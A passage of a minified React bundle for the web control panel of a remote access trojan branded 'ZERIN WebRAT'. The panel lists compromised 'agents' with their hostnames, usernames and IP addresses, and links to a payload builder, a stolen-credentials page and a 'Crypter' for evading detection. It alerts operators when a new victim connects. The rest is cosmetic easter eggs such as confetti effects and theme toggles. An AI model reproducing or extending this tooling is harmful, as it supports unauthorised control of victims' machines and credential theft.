AudioContext,n=t.currentTime,r=t.createOscillator(),i=t.createGain();r.type="sine",r.frequency.setValueAtTime(400+e*100,n),r.frequency.linearRampToValueAtTime(500+e*100,n+.04),i.gain.setValueAtTime(.1,n),i.gain.exponentialRampToValueAtTime(.001,n+.12),r.connect(i).connect(t.destination),r.start(n),r.stop(n+.15)}catch{}}function E_(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);const t=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f"];for(let n=0;n<45;n++){const r=document.createElement("div");r.className="femboy-sparkle";const i=6+Math.random()*18;r.style.cssText=` + left:${Math.random()*100}vw; + top:${Math.random()*100}vh; + width:${i}px; + height:${i}px; + background:${t[n%t.length]}; + animation-delay:${Math.random()*.6}s; + `,e.appendChild(r)}setTimeout(()=>e.remove(),2e3)}const Gg=["🐾","💖","✨","🎀","😻","🌸","💛","💜","🧋"],Xg=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f","#ff6ec7","#da70d6","#ee82ee"];function __(e,t){const n=8+Math.floor(Math.random()*6);for(let r=0;r.45,o=Math.PI*2*r/n+(Math.random()-.5)*.8,l=40+Math.random()*80,c=Math.cos(o)*l,u=Math.sin(o)*l-30,d=Math.floor(Math.random()*720-360);if(s){const f=Gg[Math.floor(Math.random()*Gg.length)];i.textContent=f,i.style.cssText=` + position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; + font-size:${10+Math.random()*14}px; + --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; + animation:femConfetti ${.5+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; + animation-delay:${Math.random()*.08}s; + `}else{const f=Xg[Math.floor(Math.random()*Xg.length)],p=4+Math.random()*6,h=4+Math.random()*8;i.style.cssText=` + position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; + width:${p}px;height:${h}px;background:${f}; + border-radius:${Math.random()>.5?"50%":"1px"}; + --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; + animation:femConfetti ${.4+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; + animation-delay:${Math.random()*.06}s; + `}document.body.appendChild(i),setTimeout(()=>i.remove(),1e3)}}const Zg=["❤️","💖","💗","💕","♥️","🌸"];let Qg=0;function A_(e,t){const n=Date.now();if(n-Qg<60)return;Qg=n;const r=document.createElement("span");r.className="femboy-heart-trail",r.textContent=Zg[Math.floor(Math.random()*Zg.length)];const i=(Math.random()-.5)*24,s=(Math.random()-.5)*40;r.style.cssText=`left:${e-6}px;top:${t-6}px;--fem-hx:${i}px;--fem-hr:${s}deg;font-size:${10+Math.random()*8}px;`,document.body.appendChild(r),setTimeout(()=>r.remove(),800)}function Jg(){if(document.getElementById("fem-yt-player"))return;const e=document.createElement("iframe");e.id="fem-yt-player",e.allow="autoplay; encrypted-media",e.src="https://www.youtube.com/embed/kVdYwWq631I?autoplay=1&start=13&loop=1&playlist=kVdYwWq631I&enablejsapi=1&controls=0&origin="+encodeURIComponent(window.location.origin),e.style.cssText="position:fixed;width:1px;height:1px;top:-9999px;left:-9999px;opacity:0;pointer-events:none;border:none;",document.body.appendChild(e),e.addEventListener("load",()=>{const t=()=>{var n;try{(n=e.contentWindow)==null||n.postMessage(JSON.stringify({event:"command",func:"setVolume",args:[12]}),"*")}catch{}};setTimeout(t,800),setTimeout(t,2e3)})}function ey(){var t;const e=document.getElementById("fem-yt-player");if(e){try{(t=e.contentWindow)==null||t.postMessage(JSON.stringify({event:"command",func:"stopVideo",args:[]}),"*")}catch{}e.remove()}}const ty=["(=^・ω・^=)","(◕ᴗ◕✿)","OwO","UwU","nya~","(≧◡≦)","♡","~nyaa","(=ˆ・ω・ˆ=)","meow~"];function O_(){const e=document.createElement("span");e.className="femboy-kaomoji",e.textContent=ty[Math.floor(Math.random()*ty.length)],e.style.left=`${20+Math.random()*60}vw`,e.style.top=`${20+Math.random()*60}vh`,document.body.appendChild(e),setTimeout(()=>e.remove(),3500)}function T_(){const[e,t]=m.useState(()=>{try{return localStorage.getItem(nm)==="true"}catch{return!1}}),n=m.useRef(0),r=m.useRef();m.useEffect(()=>{const s=document.documentElement.classList;return e?(s.add("femboy-theme"),Jg()):(s.remove("femboy-theme"),ey()),()=>{s.remove("femboy-theme"),ey()}},[e]),m.useEffect(()=>{if(!e)return;const s=o=>{__(o.clientX,o.clientY)};return document.addEventListener("click",s,!0),()=>document.removeEventListener("click",s,!0)},[e]),m.useEffect(()=>{if(!e)return;const s=o=>{A_(o.clientX,o.clientY)};return document.addEventListener("mousemove",s),()=>document.removeEventListener("mousemove",s)},[e]),m.useEffect(()=>{if(!e)return;const s=()=>{O_(),o=setTimeout(s,8e3+Math.random()*7e3)};let o=setTimeout(s,3e3);return()=>clearTimeout(o)},[e]);const i=m.useCallback(()=>{if(n.current++,clearTimeout(r.current),r.current=setTimeout(()=>{n.current=0},z_),e){if(n.current>=qg){n.current=0,t(!1);try{localStorage.removeItem(nm)}catch{}C_()}return}if(n.current>=15&&P_(n.current-14),n.current>=qg){n.current=0,t(!0);try{localStorage.setItem(nm,"true")}catch{}S_(),E_(),Jg()}},[e]);return{isActive:e,handleStatusClick:i}}const ny=["ArrowUp","ArrowUp","ArrowLeft","ArrowLeft","s","y"];function M_(){try{const e=new AudioContext,t=e.currentTime,n=e.createGain();n.gain.setValueAtTime(.12,t),n.connect(e.destination),[261.6,329.6,392,523.3,659.3].forEach((l,c)=>{const u=t+c*.07,d=e.createOscillator(),f=e.createGain();d.type="sawtooth",d.frequency.setValueAtTime(l,u),f.gain.setValueAtTime(0,u),f.gain.linearRampToValueAtTime(.15,u+.02),f.gain.exponentialRampToValueAtTime(.001,u+.35),d.connect(f).connect(n),d.start(u),d.stop(u+.4)});const i=e.createOscillator(),s=e.createGain(),o=e.createBiquadFilter();i.type="triangle",i.frequency.setValueAtTime(130.8,t),o.type="lowpass",o.frequency.setValueAtTime(800,t),o.frequency.linearRampToValueAtTime(200,t+1.5),s.gain.setValueAtTime(0,t),s.gain.linearRampToValueAtTime(.08,t+.1),s.gain.setValueAtTime(.08,t+.8),s.gain.exponentialRampToValueAtTime(.001,t+1.5),i.connect(o).connect(s).connect(n),i.start(t),i.stop(t+1.6)}catch{}}function L_(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sawtooth",n.frequency.setValueAtTime(600,t),n.frequency.exponentialRampToValueAtTime(80,t+.5),r.gain.setValueAtTime(.1,t),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6)}catch{}}function I_(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);for(let n=0;n<8;n++){const r=document.createElement("div");r.style.cssText=` + position:absolute;left:0;right:0;height:2px; + top:${n*13}%; + background:linear-gradient(90deg, transparent, ${n%2===0?"#FF2D95":"#00F0FF"}, transparent); + box-shadow:0 0 12px ${n%2===0?"#FF2D95":"#00F0FF"}; + opacity:0; + animation:synthBurstLine 0.6s ease-out ${n*.05}s forwards; + `,e.appendChild(r)}const t=["#FF2D95","#00F0FF","#B026FF","#FF6B9D","#00D4FF"];for(let n=0;n<30;n++){const r=document.createElement("div"),i=3+Math.random()*6,s=30+Math.random()*40,o=30+Math.random()*40,l=(Math.random()-.5)*300,c=(Math.random()-.5)*300,u=t[n%t.length];r.style.cssText=` + position:absolute;left:${s}%;top:${o}%; + width:${i}px;height:${i}px; + background:${u};border-radius:50%; + box-shadow:0 0 8px ${u}, 0 0 16px ${u}40; + --synth-dx:${l}px;--synth-dy:${c}px; + animation:synthBurstParticle 0.8s cubic-bezier(.15,.8,.3,1) ${Math.random()*.15}s forwards; + `,e.appendChild(r)}setTimeout(()=>e.remove(),1500)}let ry=0,rm=0;function D_(e,t){const n=Date.now();if(n-ry<40)return;ry=n,rm=(rm+15)%360;const r=document.createElement("div");r.className="synthwave-trail";const i=rm<180?"#FF2D95":"#00F0FF";r.style.cssText=`left:${e}px;top:${t}px;background:${i};box-shadow:0 0 6px ${i},0 0 12px ${i}60;`,document.body.appendChild(r),setTimeout(()=>r.remove(),500)}function R_(){const e=document.createElement("div");e.className="synthwave-shape";const t=["triangle","diamond","circle"],n=t[Math.floor(Math.random()*t.length)],r=Math.random()>.5?"#FF2D95":"#00F0FF",i=12+Math.random()*20,s=10+Math.random()*80;let o="";n==="triangle"?o="polygon(50% 0%, 0% 100%, 100% 100%)":n==="diamond"?o="polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%)":o="circle(50%)",e.style.cssText=` + left:${s}vw;width:${i}px;height:${i}px; + clip-path:${o}; + border:1.5px solid ${r}; + box-shadow:0 0 8px ${r}60,inset 0 0 4px ${r}30; + background:${r}08; + `,document.body.appendChild(e),setTimeout(()=>e.remove(),6e3)}function $_(){const[e,t]=m.useState(!1),n=m.useRef([]),r=m.useRef();return m.useEffect(()=>{function i(s){var u,d;const o=(u=s.target)==null?void 0:u.tagName;if(o==="INPUT"||o==="TEXTAREA"||o==="SELECT"||(d=s.target)!=null&&d.isContentEditable)return;const l=s.key.length===1?s.key.toLowerCase():s.key;n.current.push(l);const c=ny.length;if(n.current.length>c&&(n.current=n.current.slice(-c)),clearTimeout(r.current),r.current=setTimeout(()=>{n.current=[]},4e3),n.current.length>=c){const f=n.current.slice(-c);ny.every((h,x)=>f[x]===h)&&(n.current=[],t(h=>(h?L_():(M_(),I_()),!h)))}}return window.addEventListener("keydown",i),()=>window.removeEventListener("keydown",i)},[]),m.useEffect(()=>{const i=document.documentElement.classList;return e?i.add("synthwave-theme"):i.remove("synthwave-theme"),()=>{i.remove("synthwave-theme")}},[e]),m.useEffect(()=>{if(!e)return;const i=s=>D_(s.clientX,s.clientY);return document.addEventListener("mousemove",i),()=>document.removeEventListener("mousemove",i)},[e]),m.useEffect(()=>{if(!e)return;const i=()=>{R_(),s=setTimeout(i,5e3+Math.random()*5e3)};let s=setTimeout(i,2e3);return()=>clearTimeout(s)},[e]),{isActive:e}}const B_={sm:"w-2 h-2",md:"w-2.5 h-2.5",lg:"w-3 h-3"},F_={sm:"text-[10px]",md:"text-xs",lg:"text-sm"},W_={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},U_={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zinc-700"},V_={alive:"ALIVE",stale:"STALE",dead:"DEAD"};function hd({status:e,size:t="md",showLabel:n=!1}){return a.jsxs("span",{className:"inline-flex items-center gap-2",children:[a.jsxs("span",{className:"relative inline-flex",children:[e==="alive"&&a.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),a.jsx("span",{className:`relative inline-block rounded-full ${B_[t]} ${W_[e]}`})]}),n&&a.jsx("span",{className:`font-mono font-medium tracking-wider ${F_[t]} ${U_[e]}`,children:V_[e]})]})}function H_({open:e,onClose:t,agents:n}){const[r,i]=m.useState(""),[s,o]=m.useState(0),l=m.useRef(null),c=xr(),u=m.useMemo(()=>{if(r.trim()){const f=r.toLowerCase();return n.filter(p=>p.hostname.toLowerCase().includes(f)||p.username.toLowerCase().includes(f)||p.internal_ip.includes(f)||p.external_ip.includes(f)||p.id.toLowerCase().includes(f)).slice(0,10).map(p=>({type:"agent",id:p.id,primary:p.hostname,secondary:`${p.username} — ${p.internal_ip}`,agent:p}))}return n.slice(0,5).map(f=>({type:"agent",id:f.id,primary:f.hostname,secondary:`${f.username} — ${f.internal_ip}`,agent:f}))},[r,n]);m.useEffect(()=>{e&&(i(""),o(0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50))},[e]),m.useEffect(()=>{o(0)},[r]);const d=m.useCallback(f=>{t(),c(`/agents/${f.id}`)},[c,t]);return m.useEffect(()=>{if(!e)return;function f(p){if(p.key==="Escape"){t();return}p.key==="ArrowDown"&&(p.preventDefault(),o(h=>Math.min(h+1,u.length-1))),p.key==="ArrowUp"&&(p.preventDefault(),o(h=>Math.max(h-1,0))),p.key==="Enter"&&u[s]&&(p.preventDefault(),d(u[s]))}return window.addEventListener("keydown",f),()=>window.removeEventListener("keydown",f)},[e,u,s,t,d]),e?a.jsxs("div",{className:"fixed inset-0 z-50 flex items-start justify-center pt-[15vh]",onClick:t,children:[a.jsx("div",{className:"absolute inset-0 bg-black/60"}),a.jsxs("div",{className:"relative w-full max-w-lg bg-zerin-panel border border-zerin-panel-border shadow-2xl shadow-black/40 animate-fade-in",onClick:f=>f.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center gap-3 px-4 py-3 border-b border-zerin-panel-border",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-text-muted flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),placeholder:"Search agents by hostname, IP, username...",className:"flex-1 bg-transparent text-sm text-zerin-text placeholder-zerin-text-muted focus:outline-none"}),a.jsx("kbd",{className:"text-[10px] text-zerin-text-muted bg-zerin-bg px-1.5 py-0.5 border border-zerin-panel-border font-mono",children:"ESC"})]}),a.jsx("div",{className:"max-h-[50vh] overflow-y-auto custom-scrollbar",children:u.length===0?a.jsx("div",{className:"px-4 py-8 text-center",children:a.jsx("p",{className:"text-zerin-text-muted text-sm",children:r?"No results found":"No agents available"})}):a.jsxs("div",{className:"py-1",children:[!r&&a.jsx("div",{className:"px-4 py-2 text-[10px] text-zerin-text-muted uppercase tracking-wider font-medium",children:"Recent Agents"}),u.map((f,p)=>a.jsxs("button",{onClick:()=>d(f),onMouseEnter:()=>o(p),className:`w-full text-left flex items-center gap-3 px-4 py-2.5 transition-colors ${p===s?"bg-zerin-accent-muted":"hover:bg-zerin-panel-hover"}`,children:[f.agent&&a.jsx(hd,{status:f.agent.status,size:"sm"}),a.jsxs("div",{className:"min-w-0 flex-1",children:[a.jsx("p",{className:`text-sm font-medium truncate ${p===s?"text-zerin-accent":"text-zerin-text"}`,children:f.primary}),a.jsx("p",{className:"text-xs text-zerin-text-muted truncate",children:f.secondary})]}),a.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted flex-shrink-0",children:f.id.slice(0,8)})]},f.id))]})}),a.jsxs("div",{className:"px-4 py-2.5 border-t border-zerin-panel-border flex items-center gap-4 text-[10px] text-zerin-text-muted",children:[a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↑↓"}),"navigate"]}),a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↵"}),"select"]})]})]})]}):null}let ca={status:"idle",payloadName:"",startedAt:0,error:""};const Op=new Set;function xd(){Op.forEach(e=>e())}function E5(){return ca}function _5(e){return Op.add(e),()=>Op.delete(e)}function K_(e){ca={status:"building",payloadName:e,startedAt:Date.now(),error:""},xd()}function Y_(){ca={...ca,status:"success"},xd()}function iy(e){ca={...ca,status:"error",error:e},xd()}function ay(){ca={status:"idle",payloadName:"",startedAt:0,error:""},xd()}const vd=m.createContext({lastMessage:null}),q_=[{to:"/dashboard",label:"Dashboard",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M3 4a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1v-4zm8-8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1v-4z"})})},{to:"/events",label:"Events",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})})},{to:"/payloads",label:"Build",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M5 2a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2V4a2 2 0 00-2-2H5zm0 6a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2v-1a2 2 0 00-2-2H5zm-2 8a2 2 0 012-2h10a2 2 0 012 2v1a2 2 0 01-2 2H5a2 2 0 01-2-2v-1z",clipRule:"evenodd"})})},{to:"/credentials",label:"Credentials",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M18 8a6 6 0 01-7.743 5.743L10 14l-1 1-1 1H6v2H2v-4l4.257-4.257A6 6 0 1118 8zm-6-4a1 1 0 100 2 2 2 0 012 2 1 1 0 102 0 4 4 0 00-4-4z",clipRule:"evenodd"})})}],G_={to:"/crypter",label:"Crypter",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z",clipRule:"evenodd"})})},X_={to:"/admin",label:"Admin",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M11.49 3.17c-.38-1.56-2.6-1.56-2.98 0a1.532 1.532 0 01-2.286.948c-1.372-.836-2.942.734-2.106 2.106.54.886.061 2.042-.947 2.287-1.561.379-1.561 2.6 0 2.978a1.532 1.532 0 01.947 2.287c-.836 1.372.734 2.942 2.106 2.106a1.532 1.532 0 012.287.947c.379 1.561 2.6 1.561 2.978 0a1.533 1.533 0 012.287-.947c1.372.836 2.942-.734 2.106-2.106a1.533 1.533 0 01.947-2.287c1.561-.379 1.561-2.6 0-2.978a1.532 1.532 0 01-.947-2.287c.836-1.372-.734-2.942-2.106-2.106a1.532 1.532 0 01-2.287-.947zM10 13a3 3 0 100-6 3 3 0 000 6z",clipRule:"evenodd"})})};function Z_(){const e=m.useMemo(()=>Array.from({length:10},(t,n)=>({id:n,left:`${3+n*10}%`,delay:`${n*2.3}s`,duration:`${7+n%4*2.5}s`,size:`${13+n%5*3}px`})),[]);return a.jsx("div",{className:"fixed inset-0 pointer-events-none z-[9999] overflow-hidden","aria-hidden":!0,children:e.map(t=>a.jsx("span",{className:"femboy-paw",style:{left:t.left,animationDelay:t.delay,animationDuration:t.duration,fontSize:t.size},children:"🐾"},t.id))})}function Q_(){const{logout:e,isAdmin:t}=ya(),r=m.useSyncExternalStore(_5,E5).status==="building",s=w5()==="rat_crypter"||t,o=[...q_,...s?[G_]:[],...t?[X_]:[]],l=xr(),{permission:c,enabled:u,requestPermission:d,toggleEnabled:f,notify:p,isSupported:h}=k_(),[x,g]=m.useState(!1),[y,v]=m.useState([]),{isActive:b,handleStatusClick:w}=T_(),{isActive:j}=$_(),[N,z]=m.useState(!1),k=m.useRef(""),S=m.useRef(null);m.useEffect(()=>{function I(Y){var M,W;if(N||Y.ctrlKey||Y.metaKey||Y.altKey)return;const D=(M=Y.target)==null?void 0:M.tagName;D==="INPUT"||D==="TEXTAREA"||D==="SELECT"||(W=Y.target)!=null&&W.isContentEditable||Y.key.length===1&&(k.current+=Y.key.toLowerCase(),k.current.length>20&&(k.current=k.current.slice(-10)),S.current&&clearTimeout(S.current),S.current=setTimeout(()=>{k.current=""},3e3),k.current.includes("credits")&&(k.current="",z(!0)))}return window.addEventListener("keydown",I),()=>window.removeEventListener("keydown",I)},[N]),m.useEffect(()=>(document.body.classList.add("app-layout"),()=>document.body.classList.remove("app-layout")),[]);const A=m.useCallback(async()=>{try{const I=await N5();v(I)}catch{}},[]);m.useEffect(()=>{A();const I=setInterval(A,15e3);return()=>clearInterval(I)},[A]);const _=m.useCallback(I=>{if(I.type==="agent_update"){const Y=I.payload;v(D=>{const M=D.findIndex(W=>W.id===Y.id);if(M>=0){const W=[...D];return W[M]=Y,W}return p("New Agent Connected",`${Y.hostname} (${Y.internal_ip})`),[Y,...D]})}if(I.type==="event"){const Y=I.payload;(Y.type==="task_completed"||Y.type==="task_failed")&&p("Task Update",Y.message)}},[p]),{isConnected:O,lastMessage:P}=N_({onMessage:_});return m.useEffect(()=>{function I(Y){(Y.metaKey||Y.ctrlKey)&&Y.key==="k"&&(Y.preventDefault(),g(D=>!D))}return window.addEventListener("keydown",I),()=>window.removeEventListener("keydown",I)},[]),a.jsx(vd.Provider,{value:{lastMessage:P},children:a.jsxs("div",{className:"flex h-screen bg-zerin-bg overflow-hidden",children:[a.jsxs("aside",{className:"w-56 flex-shrink-0 bg-zerin-panel border-r border-zerin-panel-border flex flex-col",children:[a.jsx("div",{className:"px-5 py-5 border-b border-zerin-panel-border cursor-pointer group",onClick:()=>l("/dashboard"),children:a.jsxs("div",{className:"flex items-center gap-2 relative",children:[b&&a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"femboy-ear femboy-ear-left"}),a.jsx("div",{className:"femboy-ear femboy-ear-right"})]}),a.jsx("span",{className:`font-display text-lg font-bold transition-colors ${j?"synthwave-logo-glow":b?"text-[#ff69b4] femboy-logo-glow":"text-zerin-text group-hover:text-zerin-accent"}`,children:"ZERIN"}),a.jsx("span",{className:`px-1.5 py-0.5 text-[10px] font-mono font-semibold tracking-wider ${j?"text-[#00F0FF] border border-[#00F0FF]/30 synthwave-badge":b?"text-[#ff69b4] border border-[#ff69b4]/25 femboy-badge":"text-zerin-accent border border-zerin-accent/20"}`,children:j?"NEON":b?"CatRAT":"WebRAT"})]})}),a.jsxs("button",{onClick:()=>g(!0),className:`mx-3 mt-4 flex items-center gap-2.5 px-3 py-2 text-xs\r + text-zerin-text-muted border border-zerin-panel-border\r + hover:border-zerin-panel-border-hover hover:text-zerin-text-dim\r + transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("span",{className:"flex-1 text-left",children:"Search..."}),a.jsx("kbd",{className:"text-[10px] font-mono bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border",children:"Ctrl+K"})]}),a.jsx("nav",{className:"flex-1 px-3 py-4 space-y-0.5",children:o.map(({to:I,label:Y,icon:D})=>a.jsx(FE,{to:I,end:I==="/dashboard",className:({isActive:M})=>`group relative flex items-center gap-3 px-3 py-2.5 text-sm font-sans transition-colors duration-150 + ${M?"bg-zerin-accent-muted text-zerin-accent":"text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover"}`,children:({isActive:M})=>a.jsxs(a.Fragment,{children:[M&&a.jsx("span",{className:"absolute left-0 top-1/2 -translate-y-1/2 w-0.5 h-5 bg-zerin-accent"}),a.jsx("span",{className:M?"text-zerin-accent":"text-zerin-text-muted group-hover:text-zerin-text-dim",children:D}),a.jsx("span",{className:"font-medium",children:Y}),I==="/payloads"&&r&&a.jsx("span",{className:"ml-auto flex items-center gap-1.5",children:a.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]})})]})},I))}),a.jsxs("div",{className:"px-3 py-4 border-t border-zerin-panel-border space-y-3",children:[h&&a.jsxs("button",{onClick:()=>{c!=="granted"?d():f()},className:`w-full flex items-center gap-2.5 px-3 py-2 text-xs\r + text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover\r + transition-colors duration-150`,title:u?"Notifications enabled — click to disable":"Click to enable notifications",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})}),a.jsx("span",{className:"flex-1 text-left",children:"Notifications"}),a.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${u&&c==="granted"?"bg-zerin-accent":"bg-zinc-600"}`})]}),a.jsxs("div",{className:"flex items-center gap-2.5 px-3 py-2 text-xs select-none",onClick:w,children:[a.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${O?"bg-zerin-accent":"bg-zinc-600"}`}),a.jsx("span",{className:O?"text-zerin-text-dim":"text-zerin-text-muted",children:O?j?"ONLINE // NEON":b?"Nyaa~ Connected":"Connected":j?"OFFLINE // DARK":"Disconnected"})]}),a.jsxs("button",{onClick:e,className:`w-full flex items-center gap-2.5 px-3 py-2 text-sm font-sans\r + text-zerin-text-dim hover:text-zerin-danger hover:bg-zerin-danger-dim\r + transition-colors duration-150`,children:[a.jsxs("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:[a.jsx("path",{fillRule:"evenodd",d:"M3 3a1 1 0 00-1 1v12a1 1 0 001 1h6a1 1 0 100-2H4V5h5a1 1 0 100-2H3zm11.707 3.293a1 1 0 010 1.414L12.414 10l2.293 2.293a1 1 0 01-1.414 1.414l-3-3a1 1 0 010-1.414l3-3a1 1 0 011.414 0z",clipRule:"evenodd"}),a.jsx("path",{fillRule:"evenodd",d:"M17 10a1 1 0 00-1-1H9a1 1 0 100 2h7a1 1 0 001-1z",clipRule:"evenodd"})]}),a.jsx("span",{children:j?"JACK OUT":b?"Bai bai~":"Sign out"})]})]})]}),a.jsx("main",{className:"flex-1 overflow-auto custom-scrollbar bg-zerin-bg",children:a.jsx(CE,{})}),a.jsx(H_,{open:x,onClose:()=>g(!1),agents:y}),b&&a.jsx(Z_,{}),N&&a.jsxs("div",{className:"fixed inset-0 z-[9999] flex items-center justify-center cursor-pointer",onClick:()=>z(!1),style:{animation:"credits-in 0.5s ease-out"},children:[a.jsx("div",{className:"absolute inset-0 bg-black/90 backdrop-blur-sm"}),a.jsxs("div",{className:"relative text-center select-none",style:{animation:"glitch-appear 0.6s ease-out"},children:[a.jsx("pre",{className:"text-cyan-400 text-xs sm:text-sm font-mono mb-8 leading-tight",style:{textShadow:"0 0 10px rgba(0, 255, 255, 0.5), 0 0 40px rgba(0, 255, 255, 0.2)",animation:"credits-glow 2s ease-in-out infinite alternate"},children:` + _______ ______ ______ _____ __ _ + / |______ |_____/ | | \\ | + / |______ | \\_ __|__ | \\_| + `}),a.jsxs("div",{className:"space-y-4 mb-10",children:[a.jsx("p",{className:"text-zinc-500 text-xs font-mono tracking-[0.3em] uppercase",children:"Developed by"}),a.jsxs("div",{className:"space-y-3",children:[a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.2s both"},children:"Cycle"}),a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.4s both"},children:"SysBuffer"}),a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.6s both"},children:"Ace"})]})]}),a.jsx("p",{className:"text-zinc-600 text-[10px] font-mono tracking-widest uppercase",style:{animation:"credit-slide 0.5s ease-out 0.8s both"},children:"click anywhere to close"})]}),a.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03]",style:{background:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.1) 2px, rgba(255,255,255,0.1) 4px)"}}),a.jsx("style",{children:` + @keyframes credits-in { + from { opacity: 0; } + to { opacity: 1; } + } + @keyframes glitch-appear { + 0% { transform: scale(0.95) translateY(10px); opacity: 0; filter: blur(4px); } + 50% { transform: scale(1.02) translateY(-2px); filter: blur(0); } + 100% { transform: scale(1) translateY(0); opacity: 1; filter: blur(0); } + } + @keyframes credits-glow { + from { text-shadow: 0 0 10px rgba(0,255,255,0.5), 0 0 40px rgba(0,255,255,0.2); } + to { text-shadow: 0 0 20px rgba(0,255,255,0.8), 0 0 60px rgba(0,255,255,0.3); } + } + @keyframes credit-slide { + from { opacity: 0; transform: translateY(15px); } + to { opacity: 1; transform: translateY(0); } + } + `})]})]})})}const J_=m.memo(function(){const t=m.useRef(null);return m.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,s=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let N=0;N{y(),b()};return 